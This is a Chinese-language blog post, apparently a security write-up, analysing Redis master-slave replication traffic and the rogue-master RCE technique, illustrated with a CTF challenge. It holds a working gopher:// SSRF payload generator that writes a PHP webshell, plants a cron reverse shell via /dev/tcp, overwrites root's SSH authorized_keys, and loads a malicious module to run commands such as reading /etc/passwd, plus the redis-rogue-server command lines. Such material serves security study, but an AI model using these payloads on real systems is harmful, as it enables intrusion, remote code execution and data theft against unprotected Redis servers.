Redis 主从复制漏洞分析

简单分析一下主从复制

Posted by BY Diego on August 9, 2020

Redis 主从复制

具体就不说了 放几张图

具体参考其他文章

这里引用 Redis主从复制 的几张图

从服务器 通过 slaveof 命令与主服务器建立联系

从服务器(slave) 复制主服务器信息到 从服务器

主从复制的具体实现

从流量上分析具体如何实现 数据复制

先建立两个docker 镜像

docker inspect 0961f6b1c44a |grep IP

ip 分别为 172.17.0.2 、172.17.0.3

172.17.0.2(slave) 为从服务器 172.17.0.3(master) 为主服务器

 tcpdump -i docker0  -w redis.pcapng

抓取docker流量

master 随便设置一个键值

协议中字符含义

从机(slave)执行slaveof 172.17.0.3 6379 之后 主从进行的通信如下 红色为 172.17.0.2(slave)

PING 命令:测试连通性

REPLCONF 命令: 在主从之间交换复制信息

PSYNC/SYNC 命令: 从机状态与主机同步

上述主从就建立了联系 ,因为都没数据所以不存在信息交换。当同步之后 从机会定时与master进行通信

如果主机数据改变就会与从机进行数据交换

此时从机 就获得了 对应的数据

整个过程如下

Redis 主从复制漏洞

redis 也是可以加载自定义函数,需要自定义so文件

类似于mysql 构造执行命令的函数

利用过程如下 引用· 浅析Linux下Redis的攻击面(一)

这里比较重要的就是全同步

会从主机(master)接受 并保存到本地,因此可以伪造 数据,使得保存我们自定义的数据,及恶意so 文件

大致过程就用如下

利用一 :被动连接模式

适用于目标Redis服务处于内网的情况

  • 通过SSRF攻击Redis
  • 内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server

构建恶意redis ,让目标成为恶意redis 的从机(slave)

https://github.com/Dliv3/redis-rogue-server 这里用这个脚本

构建恶意redis服务器

python redis-rogue-server.py --server-only

开放的端口为 21000

然后让目标机 设置接收数据存放位置 默认的话为 config get dbfilename值,这里设置为exp.so

然后 设置主从关系slaveof 172.17.0.1 21000 这样全同步的数据就会储存在exp。so文件里,具体内容由脚本完成

具体关键流量如下

脚本关键代码

利用二: 主动连接

适用于目标Redis服务处于外网的情况

  • 外网Redis未授权访问
  • 已知外网Redis口令

在公网服务器创建恶意redis服务

python redis-rogue-server.py --server-only

然后执行脚本

python redis-rogue-server.py --lhost 远程ip --lport 恶意端口 --rhost 目标机器 --rport redis端口

这里用docker演示

开起脚本后

 python redis-rogue-server.py --lhost 172.17.0.1 --lport 21000 --rhost 172.17.0.3 --rport 6379

成功加载模块

案例

利用方法一 内网

网鼎杯-青龙组- SSRFme

ssrf 访问到hint.php, 因为没有写的权限

又给了redis 密码, 可以利用主从复制

因为在buu 上复现 ,无法连接外网,就开个linux lab 上伪造redis

这里因为auth 原因只能用gopher 进行利用,在抓包过于繁琐 利用如下脚本构造,生成payload

#!/usr/local/bin python
# coding=utf8

try:
    from urllib import quote
except:
    from urllib.parse import quote


def generate_shell(filename, path, passwd, payload):
    cmd = ["flushall",
           "set 1 {}".format(payload),
           "config set dir {}".format(path),
           "config set dbfilename {}".format(filename),
           "save"
           ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def generate_reverse(filename, path, passwd, payload):  # centos

    cmd = ["flushall",
           "set 1 {}".format(payload),
           "config set dir {}".format(path),
           "config set dbfilename {}".format(filename),
           "save"
           ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def generate_sshkey(filename, path, passwd, payload):
    cmd = ["flushall",
           "set 1 {}".format(payload),
           "config set dir {}".format(path),
           "config set dbfilename {}".format(filename),
           "save"
           ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
    exp_filename = "exp.so"
    cmd = [
        
        "CONFIG SET dir /tmp/",
        "config set dbfilename {}".format(exp_filename),
        "SLAVEOF {} {}".format(lhost, lport),
        "MODULE LOAD /tmp/{}".format(exp_filename),
        "system.exec {}".format(command.replace(" ", "${IFS}")),
         "SLAVEOF NO ONE",
        # "CONFIG SET dbfilename dump.rdb",
        # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        # "MODULE UNLOAD system",
        "POST"
    ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def rce_cleanup():
    exp_filename = "exp.so"
    cmd = [
        "SLAVEOF NO ONE",
        "CONFIG SET dbfilename dump.rdb",
        "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        "MODULE UNLOAD system",
        "POST"
    ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x))) + CRLF + x
    cmd += CRLF
    return cmd


def generate_payload(ip, port, passwd, mode):
    payload = "test"

    if mode == 0:
        filename = "shell.php"
        path = "/var/www/html"
        shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"

        cmd = generate_shell(filename, path, passwd, shell)

    elif mode == 1:
        filename = "root"
        path = "/var/spool/cron/"
        shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.1/2333 0>&1\n\n"

        cmd = generate_reverse(filename, path, passwd, shell)

    elif mode == 2:
        filename = "authorized_keys"
        path = "/root/.ssh/"
        pubkey = "\n\nssh-rsa "

        cmd = generate_sshkey(filename, path, passwd, pubkey)

    elif mode == 3:
        lhost = "174.0.11.37"
        lport = "21000"
        command = "cat /flag"

        cmd = generate_rce(lhost, lport, passwd, command)

    elif mode == 31:
        cmd = rce_cleanup()

    protocol = "gopher://"
    payload = protocol + ip + ":" + port + "/_"

    for x in cmd:
        payload += quote(redis_format(x))
    return payload


if __name__ == "__main__":
    # 0 for webshell ; 1 for re shell ; 2 for ssh key ; 3 for redis rce ; 31 for rce clean up
    # suggest cleaning up when mode 3 used
    mode = 3

    # need auth or not
    passwd = "root"

    ip = "127.0.0.1"
    port = "6379"

    p = generate_payload(ip, port, passwd, mode)
    print(p.replace("gopher://127.0.0.1:6379","gopher://0.0.0.0:6379"))

生成的payload 在进行编码 请求

参考

Redis post-exploitation

深入剖析 redis 主从复制

Redis 基于主从复制的 RCE 利用方式

浅析Linux下Redis的攻击面(一)